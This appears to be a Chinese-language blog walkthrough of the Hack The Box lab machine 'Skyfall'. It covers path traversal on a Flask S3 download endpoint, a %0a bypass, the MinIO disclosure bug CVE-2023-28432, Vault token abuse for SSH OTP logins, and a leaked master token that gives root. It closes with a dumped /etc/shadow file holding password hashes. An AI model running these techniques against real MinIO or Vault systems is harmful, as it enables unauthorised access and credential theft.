Zumpyx Blog

Skyfall

Machines#586InsaneLinux
← Machines

demo [Status: 302, Size: 218, Words: 21, Lines: 4, Duration: 1155ms] csg-hr-0016.csg [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 1093ms]


- demo.skyfall.htb

![image-20240205081331988.png](./assets/0586-skyfall/image-20240205081331988.png)

可以看到是一个基于 Flask 的存储服务

- 尝试下载请求的文件包含

![image-20240205092952797.png](./assets/0586-skyfall/image-20240205092952797.png)

![image-20240205093010961.png](./assets/0586-skyfall/image-20240205093010961.png)

- 在网页访问会提示 S3 错误 `http://demo.skyfall.htb/download_file?filename=/etc/passwd`

![image-20240205092930847.png](./assets/0586-skyfall/image-20240205092930847.png)

```bash
campaign Error Just Nows	
S3 operation failed; code: NoSuchKey, message: The specified key does not exist., resource: /guest//etc/passwd, request_id: 17B0D35B60003431, host_id: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855, bucket_name: guest, object_name: etc/passwd
  • 发现 MiniIO Metrics，但是访问是 403

image-20240205094222723.png

image-20240205094253649.png

Shell as User - askyy

  • 尝试绕过 %0a

image-20240205094319441.png

  • 发现 S3 地址

image-20240205094336909.png

  • 存在信息泄露

https://github.com/acheiii/CVE-2023-28432

image-20240205094528765.png

  • 访问 minio

https://github.com/minio/mc

https://github.com/AbelChe/evil_minio

mc alias set minio http://prd23-s3-backend.skyfall.htb [MINIO_ACCESS_KEY] [MINIO_SECRET_KEY]
mc ls -r minio

image-20240205110159015.png

发现 minio/askyy/home_backup.tar.gz

  • 下载文件 mc cp minio/askyy/home_backup.tar.gz home_backup.tar.gz

image-20240205105517503.png

  • 查看一下文件版本

image-20240205110214987.png

  • 下载 V1 的文件，查看内容
mc cp -vid 3c498578-8dfe-43b7-b679-32a3fe42018f minio/askyy/home_backup.tar.gz home_backup.tar.gz
mkdir home_backup
tar -zxf home_backup.tar.gz -C home_backup
ls -R

image-20240205110806570.png

发现 .ssh/id_rsa

image-20240205172006135.png

但是 ssh 无法连接

  • 查看 V2 版本，在 .bashrc 文件中发现 TOKEN

image-20240205172243302.png

  • 设置 Vault 服务器地址
export VAULT_API_ADDR="http://prd23-vault-internal.skyfall.htb"
export VAULT_TOKEN="hvs.[REDACTED]"
export VAULT_ADDR="http://prd23-vault-internal.skyfall.htb"
vault status

image-20240205172832630.png

  • 成功登录

image-20240205173314754.png

  • ssh 登录默认 role 有两个

image-20240205180238193.png

  • 使用 SSH (需要安装 sshpass) 这里使用 dev_opt_key_role

https://lonegunmanb.github.io/essential-vault/9.%E5%AE%9E%E9%99%85%E6%A1%88%E4%BE%8B/4.ssh_otp.html

image-20240205173420941.png

  • 发现 sudo 权限

image-20240205173725809.png

Shell as Root

  • 发现 vault-unseal 有 debug 模式，猜测会写入日志，但是日志文件不可读

image-20240205175133891.png

  • 猜测日志仅写入文件，先以 askyy 身份创建 debug.log 文件，再执行命令，发现 Master token

image-20240205175345739.png

export VAULT_API_ADDR="http://prd23-vault-internal.skyfall.htb"
export VAULT_TOKEN="hvs.[REDACTED]"
export VAULT_ADDR="http://prd23-vault-internal.skyfall.htb"
vault ssh -role admin_otp_key_role -mode otp -strict-host-key-checking=no [email protected]

image-20240205180336553.png

Dump Hash

root:$y$j9T$4uH0lUFbgz7XKRP4f/FgP.$gEGN1NQvQhD2aRx452dXMDPZm67IbrFtfzxH.6smSl7:19669:0:99999:7:::
daemon:*:19579:0:99999:7:::
bin:*:19579:0:99999:7:::
sys:*:19579:0:99999:7:::
sync:*:19579:0:99999:7:::
games:*:19579:0:99999:7:::
man:*:19579:0:99999:7:::
lp:*:19579:0:99999:7:::
mail:*:19579:0:99999:7:::
news:*:19579:0:99999:7:::
uucp:*:19579:0:99999:7:::
proxy:*:19579:0:99999:7:::
www-data:*:19579:0:99999:7:::
backup:*:19579:0:99999:7:::
list:*:19579:0:99999:7:::
irc:*:19579:0:99999:7:::
gnats:*:19579:0:99999:7:::
nobody:*:19579:0:99999:7:::
_apt:*:19579:0:99999:7:::
systemd-network:*:19579:0:99999:7:::
systemd-resolve:*:19579:0:99999:7:::
messagebus:*:19579:0:99999:7:::
systemd-timesync:*:19579:0:99999:7:::
pollinate:*:19579:0:99999:7:::
sshd:*:19579:0:99999:7:::
usbmux:*:19639:0:99999:7:::
askyy:$y$j9T$2AbGppWMps3JvtLZF2M0z/$nXpvYtHOjqCBu9NN3Y24c/Yu89tZxhF4gwreW8VSLc8:19669:0:99999:7:::
_laurel:!:19745::::::